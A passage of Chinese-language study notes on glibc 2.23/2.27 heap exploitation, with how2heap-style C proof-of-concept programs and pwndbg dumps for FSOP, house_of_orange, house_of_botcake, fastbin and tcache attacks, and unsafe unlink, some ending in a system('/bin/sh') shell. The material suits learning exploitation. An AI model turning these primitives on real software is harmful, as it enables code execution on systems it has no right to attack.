	malloc_hook_chunk[21] = (system_addr >> 16) & 0xff;
	malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; 
    
	puts("Pop Shell!");
	malloc((long long)shell);
		
}

在没有show的情况下要将malloc_hook改成ogg需要通过unsorted bin使得main arena地址进入一个申请出来的堆的fd位置,然后让fast bin里的其他堆指向这个堆,并通过修改低位来改成malloc_hook,再利用unsorted bin attackmalloc_hookmain arena,最后改fast bin中的堆指向的堆为ogg即可将malloc_hook改成ogg,宗旨就是利用堆里的地址改低位为要修改的地址,需要注意2.23size的检查

先创建4个堆,大小分别为0x60 0x80 0x80 0x60,释放第三个堆进入unsorted bin

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x405070
Size: 0x91

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405100
Size: 0x91
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

Allocated chunk
Addr: 0x405190
Size: 0x70

Top chunk | PREV_INUSE
Addr: 0x405200
Size: 0x20e01

申请比第三个堆小的第五个堆使得它从unsorted bin中切割并且fd中有main arena地址,由此得到malloc_hook地址

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x405070
Size: 0x91

Allocated chunk | PREV_INUSE
Addr: 0x405100
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405170
Size: 0x21
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

Allocated chunk
Addr: 0x405190
Size: 0x70

Top chunk | PREV_INUSE
Addr: 0x405200
Size: 0x20e01

pwndbg> x/20gx 0x405100
0x405100:	0x0000000000000000	0x0000000000000071
0x405110:	0x00007ffff7dd1bf8	0x00007ffff7dd1bf8
0x405120:	0x0000000000000000	0x0000000000000000
0x405130:	0x0000000000000000	0x0000000000000000
0x405140:	0x0000000000000000	0x0000000000000000
0x405150:	0x0000000000000000	0x0000000000000000
0x405160:	0x0000000000000000	0x0000000000000000

前后释放第四个堆和第一个堆,在fast bin中有第一个堆指向第四个堆,高地址便于修改为低地址

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x405000 —▸ 0x405190 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x405170 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x405170 /* 'pQ@' */
smallbins
empty
largebins
empty

将第一个堆的fd改成第五个堆,即unsorted bin中切割出来的堆,而该堆指向了main arena,再通过相同的方式将第五个堆的fd改成malloc_hook - 0x23(绕过size检测)

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x405000 —▸ 0x405100 —▸ 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92ea0000000
0x80: 0x0
unsortedbin
all: 0x405170 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x405170 /* 'pQ@' */
smallbins
empty
largebins
empty

接下来进行unsorted bin attack,创建大小为0x80的第六个堆,再创建一个堆来防止该堆与top chunk合并,释放第六个堆并把bk修改低位改成malloc_hook - 0x10

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0xfff7a92ea0000000
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x405200 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x405200
BK: 0x405200 —▸ 0x7ffff7dd1b00 (__memalign_hook) ◂— 0x0
smallbins
0x20: 0x405170 —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— 0x405170 /* 'pQ@' */
largebins
empty

将这个堆申请出来,此时malloc_hook中的值就被改成了main arena,因为main arena的地址除了低位其他与system相同

pwndbg> p __malloc_hook
$1 = (void *(*)(size_t, const void *)) 0x7ffff7dd1b78 <main_arena+88>

最后通过bin里的堆改malloc_hook低位为system即可将malloc_hook改成system

FSOP

#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8 

int main(void)
{
    void *ptr;
    long long *list_all_ptr;

    ptr=malloc(0x200);

    *(long long*)((long long)ptr+mode_offset)=0x0;
    *(long long*)((long long)ptr+writeptr_offset)=0x1;
    *(long long*)((long long)ptr+writebase_offset)=0x0;
    *(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);

    *(long long*)((long long)ptr+0x100+24)=0x41414141;

    list_all_ptr=(long long *)_IO_list_all;

    list_all_ptr[0]=ptr;

    exit(0);
}

原理是劫持_IO_list_allIO_FILE结构体链表通过_chain域连接stderrstdoutstdin,链表的表头是_IO_list_all_IO_list_allvtable链表中各项的偏移如下

0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
0x78  _old_offset
0x80  _cur_column
0x82  _vtable_offset
0x83  _shortbuf
0x88  _lock
0x90  _offset
0x98  _codecvt
0xa0  _wide_data
0xa8  _freeres_list
0xb0  _freeres_buf
0xb8  __pad5
0xc0  _mode
0xc4  _unused2
0xd8  vtable
0x0   __dummy
0x8   __dummy2
0x10  __finish
0x18  __overflow
0x20  __underflow
0x28  __uflow
0x30  __pbackfail
0x38  __xsputn
0x40  __xsgetn
0x48  __seekoff
0x50  __seekpos
0x58  __setbuf
0x60  __sync
0x68  __doallocate
0x70  __read
0x78  __write
0x80  __seek
0x88  __close
0x90  __stat
0x98  __showmanyc
0xa0  __imbue
pwndbg> p _IO_list_all->file._chain
$2 = (struct _IO_FILE *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
pwndbg> p _IO_list_all->file._chain._chain
$3 = (struct _IO_FILE *) 0x7ffff7dd2620 <_IO_2_1_stdout_>
pwndbg> p _IO_list_all->file._chain._chain._chain
$4 = (struct _IO_FILE *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>

FSOP利用主要是劫持libc中的_IO_list_allvtable__overflow函数地址,之后通过调用abort/exit/main来触发_IO_flush_all_lockp用于最终调用_IO_OVERFLOW刷新_IO_list_all链表

int
_IO_flush_all_lockp (int do_lock)
{
  ...
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
  {
       ...
       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }
        ...
  }
}

调用_IO_OVERFLOW还需要绕过if判断

(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

首先创建一个堆并在堆中伪造了一个_IO_list_all,满足if中的判断,并且ptr+0x100+24处是_IO_list_allvtable中的__overflow函数地址,最后改_IO_list_all为伪造的地址

pwndbg> p *_IO_list_all
$19 = {
  file = {
    _flags = 0,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x0,
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x405110
}
pwndbg> p *_IO_list_all->vtable
$18 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x0,
  __overflow = 0x41414141,
  __underflow = 0x0,
  __uflow = 0x0,
  __pbackfail = 0x0,
  __xsputn = 0x0,
  __xsgetn = 0x0,
  __seekoff = 0x0,
  __seekpos = 0x0,
  __setbuf = 0x0,
  __sync = 0x0,
  __doallocate = 0x0,
  __read = 0x0,
  __write = 0x0,
  __seek = 0x0,
  __close = 0x0,
  __stat = 0x0,
  __showmanyc = 0x0,
  __imbue = 0x0
}

house_of_orange(top chunk + FSOP)

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

int winner ( char *ptr);

int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;

    p1 = malloc(0x400-16);

    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;
    
    p2 = malloc(0x1000);
    
    io_list_all = top[2] + 0x9a8;
    
    top[3] = io_list_all - 0x10;

    memcpy( ( char *) top, "/bin/sh\x00", 8);

    top[1] = 0x61;

    FILE *fp = (FILE *) top;

    fp->_mode = 0; // top+0xc0
    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28

    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8

    malloc(10);
    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    syscall(SYS_exit, 0);
    return 0;
}

利用top_chunk在其他bins不满足的情况下可以进入unsorted bin的特点,但是需要满足条件

assert ((old_top == initial_top (av) && old_size == 0) ||
         ((unsigned long) (old_size) >= MINSIZE &&
          prev_inuse (old_top) &&
          ((unsigned long) old_end & (pagesize - 1)) == 0));

伪造的size必须要对齐到内存页0x400(ptr + size对齐)

size 要大于 MINSIZE(0x10)

size 要小于之后申请的 chunk size + MINSIZE(0x10)

sizeprev inuse 位必须为 1

先创建一个0x400的堆,申请的大小是0x3f0

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x401

Top chunk | PREV_INUSE
Addr: 0x405400
Size: 0x20c01

接着改top chunk大小为0xc01,此时top chunk地址加上大小刚好可以页对齐

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x401

Top chunk | PREV_INUSE
Addr: 0x405400
Size: 0xc01

pwndbg> p/x 0x405400 + 0xc00
$1 = 0x406000

此时再创建一个0x1000的堆,使得top chunk进入unsorted bin,此时fdbk中存在libc地址,由此可以计算出_IO_list_all的地址,在此过程中由于申请的堆大于top chunk,所以向系统申请了新的top chunk,地址在旧的top chunk之后,因此旧的top chunk进入了unsorted bin

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x400 (with flag bits: 0x401)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405400
Size: 0xbe0 (with flag bits: 0xbe1)
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

Allocated chunk
Addr: 0x405fe0
Size: 0x10 (with flag bits: 0x10)

Allocated chunk | PREV_INUSE
Addr: 0x405ff0
Size: 0x10 (with flag bits: 0x11)

Allocated chunk
Addr: 0x406000
Size: 0x00 (with flag bits: 0x00)
pwndbg> x/gx 0x7ffff7dd1b78 + 0x9a8
0x7ffff7dd2520 <_IO_list_all>:	0x00007ffff7dd2540

接下来将top地址赋值给fp后直接伪造_IO_list_all中的内容来满足检查,并在top chunk中存/bin/sh,改__overflow地址为winner

memcpy( ( char *) top, "/bin/sh\x00", 8);

top[1] = 0x61;
FILE *fp = (FILE *) top;

fp->_mode = 0; 
fp->_IO_write_base = (char *) 2; 
fp->_IO_write_ptr = (char *) 3; 

size_t *jump_table = &top[12];	//取一个地址为vtable
jump_table[3] = (size_t) &winner;	//__overflow在跳表中的`index`是3
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; 	//在fp最后设置vtable
pwndbg> x/20gx 0x0000000000405400
0x405400:	0x0068732f6e69622f	0x0000000000000061
0x405410:	0x00007ffff7dd1b78	0x00007ffff7dd2510
0x405420:	0x0000000000000002	0x0000000000000003
0x405430:	0x0000000000000000	0x0000000000000000
0x405440:	0x0000000000000000	0x0000000000000000
0x405450:	0x0000000000000000	0x0000000000000000
0x405460:	0x0000000000000000	0x0000000000000000
0x405470:	0x0000000000000000	0x000000000040129b
0x405480:	0x0000000000000000	0x0000000000000000
0x405490:	0x0000000000000000	0x0000000000000000
pwndbg> 
0x4054a0:	0x0000000000000000	0x0000000000000000
0x4054b0:	0x0000000000000000	0x0000000000000000
0x4054c0:	0x0000000000000000	0x0000000000000000
0x4054d0:	0x0000000000000000	0x0000000000405460
pwndbg> p jump_table
$52 = (size_t *) 0x405460
pwndbg> p *fp
$4 = {
  _flags = 1852400175,
  _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
  _IO_read_end = 0x7ffff7dd1b78 <main_arena+88> "\020pB",
  _IO_read_base = 0x7ffff7dd2510 "",
  _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
  _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x0,
  _fileno = 0,
  _flags2 = 0,
  _old_offset = 4199067,
  _cur_column = 0,
  _vtable_offset = 0 '\000',
  _shortbuf = "",
  _lock = 0x0,
  _offset = 0,
  _codecvt = 0x0,
  _wide_data = 0x0,
  _freeres_list = 0x0,
  _freeres_buf = 0x0,
  __pad5 = 0,
  _mode = 0,
  _unused2 = '\000' <repeats 19 times>
}

此时bin中是存在问题的,如果创建堆就会报错

pwndbg> bin
fastbins
empty
unsortedbin
all [corrupted]
FD: 0x405400 —▸ 0x7ffff7dd1bc8 (main_arena+168) ◂— 0x405400
BK: 0x7ffff7dd2510 ◂— 0x0
smallbins
0x60: 0x405400 —▸ 0x7ffff7dd1bc8 (main_arena+168) ◂— 0x405400
largebins
empty

最后malloc来触发abort使得_IO_list_all变成我们伪造的内容

pwndbg> 
*** Error in `/home/starrysky/how2heap-master/glibc_2.23/house_of_orange': malloc(): memory corruption: 0x00007ffff7dd2520 ***
35	in ../sysdeps/unix/sysv/linux/libc_fatal.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
  0x7ffff7a847e0 <__libc_message+704>    cmp    rbx, r12
  0x7ffff7a847e3 <__libc_message+707>    sete   sil
  0x7ffff7a847e7 <__libc_message+711>    mov    edx, dword ptr [rbp - 0x84]
  0x7ffff7a847ed <__libc_message+717>    mov    edi, r15d
  0x7ffff7a847f0 <__libc_message+720>    call   backtrace_and_maps                <backtrace_and_maps>

► 0x7ffff7a847f5 <__libc_message+725>    call   abort                <abort>

  0x7ffff7a847fa                         nop    word ptr [rax + rax]
  0x7ffff7a84800 <__libc_fatal>          push   rbx
  0x7ffff7a84801 <__libc_fatal+1>        mov    rbx, rdi
  0x7ffff7a84804 <__libc_fatal+4>        nop    dword ptr [rax]
  0x7ffff7a84808 <__libc_fatal+8>        lea    rsi, [rip + 0x117bba]

执行winner后成功getshell

glibc_2.27

2.272.23的主要区别就是引入了tcache,但同时也去掉了一些检测

fastbin_dup(double free)

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	void *ptrs[8];
	for (int i=0; i<8; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}

	int *a = calloc(1, 8);
	int *b = calloc(1, 8);
	int *c = calloc(1, 8);

	free(a);
	free(b);
	free(a);

	a = calloc(1, 8);
	b = calloc(1, 8);
	c = calloc(1, 8);

	assert(a == c);
}

填满tcache之后正常利用double free

先创建7个堆并释放以填满tcache

pwndbg> bin
tcachebins
0x20 [  7]: 0x405360 —▸ 0x405340 —▸ 0x405320 —▸ 0x405300 —▸ 0x4052e0 —▸ 0x4052c0 —▸ 0x4052a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

创建三个堆,先释放前两个堆,再释放第一个堆,造成double freebin中由第一个堆指向第二个堆再指向第一个堆

pwndbg> bin
tcachebins
0x20 [  7]: 0x405360 —▸ 0x405340 —▸ 0x405320 —▸ 0x405300 —▸ 0x4052e0 —▸ 0x4052c0 —▸ 0x4052a0 ◂— 0x0
fastbins
0x20: 0x405390 —▸ 0x4053b0 ◂— 0x405390
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

此时创建三个堆,第一三个堆为同一个堆

fastbin_dup_into_stack

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	void *ptrs[7];

	for (int i=0; i<7; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}


	unsigned long long stack_var;

	int *a = calloc(1,8);
	int *b = calloc(1,8);
	int *c = calloc(1,8);

	free(a);

	free(b);

	free(a);

	unsigned long long *d = calloc(1,8);

	stack_var = 0x20;

	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
	
	void *p = calloc(1,8);

	assert(p == 8+(char *)&stack_var);
}

利用fastbin_dupdouble free,申请出第一个堆之后将fd位置改成栈上的地址,于是栈上地址就会出现在bin链中,就能被申请出来了

fastbin_reverse_into_tcache

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
  setbuf(stdout, NULL);

  char* ptrs[14];
  size_t i;
  for (i = 0; i < 14; i++) {
    ptrs[i] = malloc(allocsize);
  }

  for (i = 0; i < 7; i++) {
    free(ptrs[i]);
  }

  char* victim = ptrs[7];
 
  free(victim);

  for (i = 8; i < 14; i++) {
    free(ptrs[i]);
  }

  size_t stack_var[6];
  memset(stack_var, 0xcd, sizeof(stack_var));

  *(size_t**)victim = &stack_var[0];

  for (i = 0; i < 7; i++) {
    ptrs[i] = malloc(allocsize);
  }


  for (i = 0; i < 6; i++) {
    printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
  }

  malloc(allocsize);

  for (i = 0; i < 6; i++) {
    printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
  }

  char *q = malloc(allocsize);

  assert(q == (char *)&stack_var[2]);

  return 0;
}

填满tcache之后填入fastbin并改fd为目的地址,再从tcache申请堆之后fastbin中的堆会落到tcache,顺延申请到目的地址

创建了14个堆之后全部释放

pwndbg> bin
tcachebins
0x50 [  7]: 0x405440 —▸ 0x4053f0 —▸ 0x4053a0 —▸ 0x405350 —▸ 0x405300 —▸ 0x4052b0 —▸ 0x405260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x405660 —▸ 0x405610 —▸ 0x4055c0 —▸ 0x405570 —▸ 0x405520 ◂— ...
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

fastbin中第一个堆的fd改成目标地址

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Free chunk (tcache) | PREV_INUSE
Addr: 0x405250
Size: 0x51
fd: 0x00

Free chunk (tcache) | PREV_INUSE
Addr: 0x4052a0
Size: 0x51
fd: 0x405260

Free chunk (tcache) | PREV_INUSE
Addr: 0x4052f0
Size: 0x51
fd: 0x4052b0

Free chunk (tcache) | PREV_INUSE
Addr: 0x405340
Size: 0x51
fd: 0x405300

Free chunk (tcache) | PREV_INUSE
Addr: 0x405390
Size: 0x51
fd: 0x405350

Free chunk (tcache) | PREV_INUSE
Addr: 0x4053e0
Size: 0x51
fd: 0x4053a0

Free chunk (tcache) | PREV_INUSE
Addr: 0x405430
Size: 0x51
fd: 0x4053f0

Free chunk (fastbins) | PREV_INUSE
Addr: 0x405480
Size: 0x51
fd: 0x7fffffffdc60							<-- target

...

tachce全部申请完再申请一次之后目的地址会出现在tcache

pwndbg> bin
tcachebins
0x50 [  7]: 0x7fffffffdc70 —▸ 0x405490 —▸ 0x4054e0 —▸ 0x405530 —▸ 0x405580 —▸ 0x4055d0 —▸ 0x405620 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0xcdcdcdcdcdcdcdcd
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

house_of_botcake(double free)

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>


int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    intptr_t stack_var[4];
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }
    
    intptr_t *prev = malloc(0x100);
    intptr_t *a = malloc(0x100);
    malloc(0x10);
    
    for(int i=0; i<7; i++){
        free(x[i]);
    }
    free(a);
    free(prev);
    
    malloc(0x100);
    free(a);
    
    intptr_t *b = malloc(0x120);
    b[0x120/8-2] = (long)stack_var;
    
    malloc(0x100);
    intptr_t *c = malloc(0x100);
    
    assert(c==stack_var);
    return 0;
}

利用double free使得同一个堆同时出现在tcacheunsorted bin造成堆块重叠

创建7个堆填满tcache,两个堆用于填入unsorted bin,最后一个堆防止和top chunk合并

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x405360
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x405470
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x405580
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x405690
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x4057a0
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x4058b0
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x4059c0
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x405ad0
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x405be0
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x405c00
Size: 0x20401

将所有堆释放以进入对应的bin,其中unsorted bin中的两个堆合并

pwndbg> bin
tcachebins
0x110 [  7]: 0x4058c0 —▸ 0x4057b0 —▸ 0x4056a0 —▸ 0x405590 —▸ 0x405480 —▸ 0x405370 —▸ 0x405260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x4059c0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x4059c0
smallbins
empty
largebins
empty

创建一个堆让tcache有一个空位

pwndbg> bin
tcachebins
0x110 [  6]: 0x4057b0 —▸ 0x4056a0 —▸ 0x405590 —▸ 0x405480 —▸ 0x405370 —▸ 0x405260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x4059c0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x4059c0
smallbins
empty
largebins
empty

再次释放unsorted bin的第一个堆使其进入tcache,此时tcacheunsorted bin的第一个堆是同一个堆,造成了堆块重叠

pwndbg> bin
tcachebins
0x110 [  7]: 0x405ae0 —▸ 0x4057b0 —▸ 0x4056a0 —▸ 0x405590 —▸ 0x405480 —▸ 0x405370 —▸ 0x405260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x4059c0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x4059c0
smallbins
empty
largebins
empty
pwndbg> x/20gx 0x405ad0
0x405ad0:       0x0000000000000000      0x0000000000000111
0x405ae0:       0x00000000004057b0      0x00007ffff7dcfca0
0x405af0:       0x0000000000000000      0x0000000000000000
0x405b00:       0x0000000000000000      0x0000000000000000
0x405b10:       0x0000000000000000      0x0000000000000000
0x405b20:       0x0000000000000000      0x0000000000000000
0x405b30:       0x0000000000000000      0x0000000000000000
0x405b40:       0x0000000000000000      0x0000000000000000
0x405b50:       0x0000000000000000      0x0000000000000000
0x405b60:       0x0000000000000000      0x0000000000000000

创建一个比释放的堆大一点的堆,这个堆会从unsorted bin中切割,且和tcache中第一个地址相同

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Free chunk (tcache) | PREV_INUSE
Addr: 0x405250
Size: 0x111
fd: 0x00

Free chunk (tcache) | PREV_INUSE
Addr: 0x405360
Size: 0x111
fd: 0x405260

Free chunk (tcache) | PREV_INUSE
Addr: 0x405470
Size: 0x111
fd: 0x405370

Free chunk (tcache) | PREV_INUSE
Addr: 0x405580
Size: 0x111
fd: 0x405480

Free chunk (tcache) | PREV_INUSE
Addr: 0x405690
Size: 0x111
fd: 0x405590

Free chunk (tcache) | PREV_INUSE
Addr: 0x4057a0
Size: 0x111
fd: 0x4056a0

Allocated chunk | PREV_INUSE
Addr: 0x4058b0
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x4059c0
Size: 0x131

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405af0
Size: 0xf1
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dcfca0

Allocated chunk
Addr: 0x405be0
Size: 0x20

Top chunk | PREV_INUSE
Addr: 0x405c00
Size: 0x20401

修改刚创建的堆的fd位置,此时tcache中的堆会被修改,实现任意地址写

pwndbg> bin
tcachebins
0x110 [  7]: 0x405ae0 —▸ 0x7fffffffdcf0 —▸ 0x7fffffffdd58 —▸ 0x7fffffffde28 —▸ 0x7fffffffe1c1 ◂— '/home/starrysky/how2heap/how2heap/glibc_2.27/house_of_botcake'
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x405af0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x405af0
smallbins
empty
largebins
empty
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
	setbuf(stdout, NULL);
	
	int malloc_size = 0x420;
	int header_size = 2;

	chunk0_ptr = (uint64_t*) malloc(malloc_size);
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); 
	
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	
	chunk1_hdr[0] = malloc_size;
	chunk1_hdr[1] &= ~1;

	free(chunk1_ptr);

	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	chunk0_ptr[0] = 0x4141414142424242LL;

	assert(*(long *)victim_string == 0x4141414142424242L);
}

tcache最大范围是0x408,超过这个范围的会被释放到unsorted bin

创建属于unsorted bin的堆之后伪造一个堆绕过unlink的检查

unlink相关检查

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                           
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
      malloc_printerr ("corrupted size vs. prev_size");                
    FD = P->fd;                               
    BK = P->bk;                               
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))           
      malloc_printerr ("corrupted double-linked list");                
    else {                            
        FD->bk = BK;                           
        BK->fd = FD;                           
        if (!in_smallbin_range (chunksize_nomask (P))              
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {          
       if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)       
      || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
         malloc_printerr ("corrupted double-linked list (not small)");   
            if (FD->fd_nextsize == NULL) {                
                if (P->fd_nextsize == P)                  
                  FD->fd_nextsize = FD->bk_nextsize = FD;           
                else {                         
                    FD->fd_nextsize = P->fd_nextsize;              
                    FD->bk_nextsize = P->bk_nextsize;              
                    P->fd_nextsize->bk_nextsize = FD;              
                    P->bk_nextsize->fd_nextsize = FD;              
                  }                            
              } else {                         
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;           
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;           
              }                               
          }                               
      }                                  
}

伪造堆需要绕过:FD->bk = BK; BK->fd = FD;

伪造完成后改地址相邻的下一个堆的的prve_size为伪造的堆大小、inuse位为0再释放掉它即可向后合并取消连接fake chunk

先创建两个堆

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x431

Allocated chunk | PREV_INUSE
Addr: 0x405680
Size: 0x431

Top chunk | PREV_INUSE
Addr: 0x405ab0
Size: 0x20551

在第一个堆伪造一个堆的fd、bk并把第二个堆inuse位和prve_size位改掉

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x431

Allocated chunk
Addr: 0x405680
Size: 0x430

Top chunk | PREV_INUSE
Addr: 0x405ab0
Size: 0x20551

pwndbg> x/20gx 0x405250
0x405250:	0x0000000000000000	0x0000000000000431
0x405260:	0x0000000000000000	0x0000000000000000
